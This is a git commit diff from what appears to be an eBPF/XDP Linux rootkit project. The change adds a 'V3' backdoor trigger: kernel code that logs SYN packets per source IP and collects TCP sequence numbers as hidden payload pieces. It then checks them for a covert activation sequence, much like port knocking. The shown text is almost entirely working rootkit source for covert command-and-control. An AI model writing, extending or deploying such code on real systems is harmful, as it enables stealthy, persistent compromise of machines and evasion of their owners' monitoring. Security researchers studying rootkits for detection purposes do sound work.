Completed new backdoor packet stream parsing for V3 backdoor using hidden payloads in TCP and IP header positions

This commit is contained in:
h3xduck
2022-05-09 16:36:39 -04:00
parent ba19537ec1
commit 073e1d3129
10 changed files with 2591 additions and 1814 deletions

View File

@@ -106,9 +106,54 @@ int xdp_receive(struct xdp_md *ctx){
}
return manage_backdoor_trigger_v1(payload, payload_size);
}
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
if(tcp->syn == 1){
//SYN packet detected, store in bpf map.
//When a full stream comes, then it will be analyzed and search whether it is a valid sequence
//Known issue, ignored dliberately: IP sending packets to different ports classified as same communication
//This way we may include some port-knocking like mechanism.
bpf_printk("SYN detected");
__u32 ipvalue = ip->saddr;
struct backdoor_packet_log_data *b_data = (struct backdoor_packet_log_data*) bpf_map_lookup_elem(&backdoor_packet_log, &ipvalue);
struct backdoor_packet_log_data b_new_data = {0};
if (b_data != NULL ){
//Means first time this IP sends a packet to us
//It is always between the below range, this is just to avoid verifier complains
if(b_data->last_packet_modified>-1 && b_data->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES){
b_new_data.last_packet_modified = b_data->last_packet_modified;
//Necessary complicated MOD, the verifier rejects it otherwise
b_new_data.last_packet_modified++;
if(b_new_data.last_packet_modified>=3){
b_new_data.last_packet_modified = 0;
}
b_new_data.trigger_array[0] = b_data->trigger_array[0];
b_new_data.trigger_array[1] = b_data->trigger_array[1];
b_new_data.trigger_array[2] = b_data->trigger_array[2];
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data), b_data);
int last_modified = b_new_data.last_packet_modified;
//Yes, this is really needed to be done this way. Intervals are no sufficient
if(last_modified != 0 && last_modified != 1 && last_modified != 2){
return XDP_PASS;
}
b_new_data.trigger_array[last_modified].seq_raw = tcp->seq;
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
//If it was not the first packet received, this may be the end of the backdoor sequence (even if previous packets
//where for other purpose, we must still check it)
return manage_backdoor_trigger_v3(b_new_data);
}
}else{
//Done this way to avoid verifier complains
int num = 0;
//bpf_probe_read((void*)&(b_new_data->last_packet_modified), sizeof(__u32), (void*)&num);
//bpf_probe_read(&(b_new_data->trigger_array[0].seq_raw), sizeof(__u32), &(tcp->seq));
b_new_data.last_packet_modified = 0;
b_new_data.trigger_array[0].seq_raw = tcp->seq;
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
}
}
//Check for the packet modification PoC
// We use "size - 1" to account for the final '\0'
else if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
return XDP_PASS;
}